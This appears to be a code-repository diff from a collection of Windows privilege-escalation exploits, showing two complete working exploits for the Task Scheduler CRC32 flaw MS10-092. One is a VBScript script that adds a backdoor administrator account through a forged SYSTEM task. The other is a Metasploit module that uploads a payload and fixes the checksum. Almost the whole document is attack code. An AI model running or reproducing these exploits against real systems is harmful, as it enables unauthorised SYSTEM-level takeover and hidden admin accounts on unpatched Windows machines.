s=s+2;
e=e-2;
}
return r;
}
</script>
<script language="VBScript">
dim output
set output = wscript.stdout
output.writeline " Task Scheduler 0 day - Privilege Escalation "
output.writeline " Should work on Vista/Win7/2008 x86/x64"
output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.CreateTextFile(biatchFile, True)
a.WriteLine ("net user /add test123 test123")
a.WriteLine ("net localgroup administrators /add test123")
a.WriteLine ("schtasks /delete /f /TN wDw00t")
Function ReadByteArray(strFileName)
Const adTypeBinary = 1
Dim bin
Set bin = CreateObject("ADODB.Stream")
bin.Type = adTypeBinary
bin.Open
bin.LoadFromFile strFileName
ReadByteArray = bin.Read
'output.writeline ReadByteArray
End Function
Function OctetToHexStr (arrbytOctet)
Dim k
OctetToHexStr = ""
For k = 3 To Lenb (arrbytOctet)
OctetToHexStr = OctetToHexStr _
& Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
Next
End Function
strFileName="C:\windows\system32\tasks\wDw00t"
hexXML = OctetToHexStr (ReadByteArray(strFileName))
'output.writeline hexXML
crc32 = calc_crc(hexXML)
output.writeline "Crc32 Original: "+crc32
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
'permissions workaround
'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
Set objShell = WScript.CreateObject("WScript.Shell")
Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
Do Until objExecObject.StdOut.AtEndOfStream
strLine = strLine & objExecObject.StdOut.ReadLine()
Loop
hexXML = "FFFE3C00"+OctetToHexStr(strLine)
'output.writeline hexXML
Set ts = fso.createtextfile ("wDw00t.xml")
For n = 1 To (Len (hexXML) - 1) step 2
ts.write Chr ("&h" & Mid (hexXML, n, 2))
Next
ts.close
xmlDoc.load "wDw00t.xml"
Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
Author.text = "LocalSystem"
Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
UserId.text = "S-1-5-18"
xmldoc.save(strFileName)
hexXML = OctetToHexStr (ReadByteArray(strFileName))
leadString=hexXML+"3C0021002D002D00"
endString="2D002D003E00"
'output.writeline leadString
impbytes=rev_crc(leadString,endString,crc32)
output.writeline "Crc32 Magic Bytes: "+impbytes
finalString = leadString+impbytes+endString
forge = calc_crc(finalString)
output.writeline "Crc32 Forged: "+forge
strHexString="FFFE"+finalString
Set fso = CreateObject ("scripting.filesystemobject")
Set stream = CreateObject ("adodb.stream")
Set ts = fso.createtextfile (strFileName)
For n = 1 To (Len (strHexString) - 1) step 2
ts.write Chr ("&h" & Mid (strHexString, n, 2))
Next
ts.close
Set objShell = CreateObject("WScript.Shell")
objShell.Run "schtasks /change /TN wDw00t /disable",,True
objShell.Run "schtasks /change /TN wDw00t /enable",,True
objShell.Run "schtasks /run /TN wDw00t",,True
</script>
</job>
97-Windows提权/MS10-092/Enviroment/FoxitReader411_enu_Setup.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS10-092/MS10-092.rb
+336
View File
@@ -0,0 +1,336 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'rex'
require 'zlib'
class Metasploit3 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation',
'Description' => %q{
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet.
When processing task files, the Windows Task Scheduler only uses a CRC32
checksum to validate that the file has not been tampered with. Also, In a default
configuration, normal users can read and write the task files that they have
created. By modifying the task file and creating a CRC32 collision, an attacker
can execute arbitrary commands with SYSTEM privileges.
NOTE: Thanks to webDEViL for the information about disable/enable.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision$',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows Vista, 7, and 2008', {} ],
],
'References' =>
[
[ 'OSVDB', '68518' ],
[ 'CVE', '2010-3338' ],
[ 'BID', '44357' ],
[ 'MSB', 'MS10-092' ],
[ 'EDB', 15589 ]
],
'DisclosureDate'=> 'Sep 13 2010',
'DefaultTarget' => 0
}))
register_options([
OptString.new("CMD", [ false, "Command to execute instead of a payload" ]),
OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]),
])
end
def check
vuln = false
winver = sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
if winver.include? v
vuln = true
break
end
}
if not vuln
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
#
# WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
# worse, meterpreter/railgun creates things in a new thread, making it much more
# difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
# offer a workaround and error out.
#
print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
return
end
if check == Exploit::CheckCode::Safe
print_error("#{winver} is not vulnerable.")
return
end
taskname = datastore["TASKNAME"] || nil
cmd = datastore["CMD"] || nil
upload_fn = nil
tempdir = session.fs.file.expand_path("%TEMP%")
if not cmd
# Get the exe payload.
exe = generate_payload_exe
#and placing it on the target in %TEMP%
tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
cmd = tempdir + "\\" + tempexename + ".exe"
print_status("Preparing payload at #{cmd}")
write_file(cmd, exe)
else
print_status("Using command: #{cmd}")
end
#
# Create a new task to do our bidding, but make sure it doesn't run.
#
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
sysdir = session.fs.file.expand_path("%SystemRoot%")
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
# print_debug("Will Execute:\n\t#{cmdline}")
exec_schtasks(cmdline, "create the task")
#
# Read the contents of the newly creates task file
#
content = read_task_file(taskname, taskfile)
#
# Double-check that we got what we expect.
#
if content[0,2] != "\xff\xfe"
#
# Convert to unicode, since it isn't already
#
content = content.unpack('C*').pack('v*')
else
#
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
#
content = content[2,content.length]
end
#
# Record the crc32 for later calculations
#
old_crc32 = crc32(content)
print_status("Original CRC32: 0x%x" % old_crc32)
#
# Convert the file contents from unicode
#
content = content.unpack('v*').pack('C*')
#
# Mangle the contents to now run with SYSTEM privileges
#
content.gsub!('LeastPrivilege', 'HighestAvailable')
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
content << "<!-- ZZ -->"
#
# Convert it back to unicode
#
content = Rex::Text.to_unicode(content)
#
# Fix it so the CRC matches again
#
fix_crc32(content, old_crc32)
new_crc32 = crc32(content)
print_status("Final CRC32: 0x%x" % new_crc32)
#
# Write the new content back
#
print_status("Writing our modified content back...")
fd = session.fs.file.new(taskfile, "wb")
fd.write "\xff\xfe" + content
fd.close
#
# Validate our results
#
print_status("Validating task: #{taskname}")
exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task")
#
# Run the task :-)
#
print_status("Disabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
print_status("Enabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
print_status("Executing the task...")
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
#
# And delete it.
#
print_status("Deleting the task...")
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")
end
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
crc
end
def fix_crc32(data, old_crc)
#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# reversed from Microsoft's code)
#
bwd_table = [
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
]
crc = crc32(data[0, data.length - 12])
data[-12, 4] = [crc].pack('V')
data[-12, 12].unpack('C*').reverse.each { |b|
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
}
data[-12, 4] = [old_crc].pack('V')
end
def exec_schtasks(cmdline, purpose)
cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR"
lns = cmd_exec('cmd.exe', cmdline)
success = false
lns.each_line { |ln|
ln.chomp!
if ln =~ /^SUCCESS\:\s/
success = true
print_status(ln)
else
print_status(ln)
end
}
end
def read_task_file(taskname, taskfile)
print_status("Reading the task file contents from #{taskfile}...")
# Can't read the file directly on 2008?
content = ''
fd = session.fs.file.new(taskfile, "rb")
until fd.eof?
content << fd.read
end
fd.close
content
end
end
Loaded 100 of 413 files, more files were not shown because too many files have changed in this diff. Show more